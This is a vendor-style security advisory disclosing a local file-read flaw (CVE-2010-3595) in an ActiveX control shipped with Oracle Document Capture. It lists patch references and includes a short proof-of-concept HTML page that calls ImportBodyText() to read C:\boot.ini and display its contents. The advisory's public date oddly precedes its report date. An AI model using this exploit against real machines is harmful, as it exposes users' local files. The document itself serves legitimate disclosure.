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Oracle - Document Capture Insecure READ Method

Oracle - Document Capture Insecure READ Method

Published on 2011-01-26

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Source:  http://packetstormsecurity.org/files/view/97872/DSECRG-11-007.txt



Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal #DSECRG-00117)





Application:                    Oracle Document Capture  

Versions Affected:              10.1350.0005

Vendor URL:                     http://www.oracle.com/technology/software/products/content-management/index_dc.html

Bugs:                           Insecure READ method

Exploits:                       YES

Reported:                       29.01.2010 

Second report:                  02.02.2010                    

Date of Public Advisory:        24.01.2010  

CVE:                            CVE-2010-3595

Authors:                        Alexey Sintsov

                                by Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)







Description

***********



EasyMail ActiveX  Control (emsmtp.dll)  that included into Oracle Document Capture distrib

can be used to read any file in target system. Vulnerable method is "ImportBodyText()".







Details

*******



For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method then control will 

open and read file "C:\boot.ini". Content of boot.ini will be loaded into property "BodyText" .





Class EasyMailSMTPObj

GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}

Number of Interfaces: 1

Default Interface: IEasyMailSMTPObj

RegKey Safe for Script: True

RegKey Safe for Init: True

KillBitSet: False







Example:

*******



<HTML>

        <HEAD>

        <TITLE>DSECRG</TITLE>

        </HEAD>

        <BODY>

        

        <OBJECT id='ora' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>



        <SCRIPT>

                

        function Exploit(){

                ora.ImportBodyText("C:\\boot.ini");             

                document.write("Try to read c:\\boot.ini:<br><br>"+ora.BodyText);

        }

        Exploit();



        </SCRIPT>

</BODY>

</HTML>







References

**********



http://dsecrg.com/pages/vul/show.php?id=307

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html









Fix Information

*************



Information was published in CPU Jan 2011.

All customers can download CPU patches following instructions from: 



http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html





About

*****



Digital Security: 



Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.



Digital Security Research Group:



International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.





Contact: research [at] dsecrg [dot] com

http://www.dsecrg.com

http://www.erpscan.com













Polyakov Alexandr. PCI QSA,PA-QSA

CTO Digital Security

Head of DSecRG

______________________

DIGITAL SECURITY

phone:  +7 812 703 1547

        +7 812 430 9130

e-mail: a.polyakov@dsec.ru  



www.dsec.ru

www.dsecrg.com www.dsecrg.ru

www.erpscan.com www.erpscan.ru

www.pcidssru.com www.pcidss.ru





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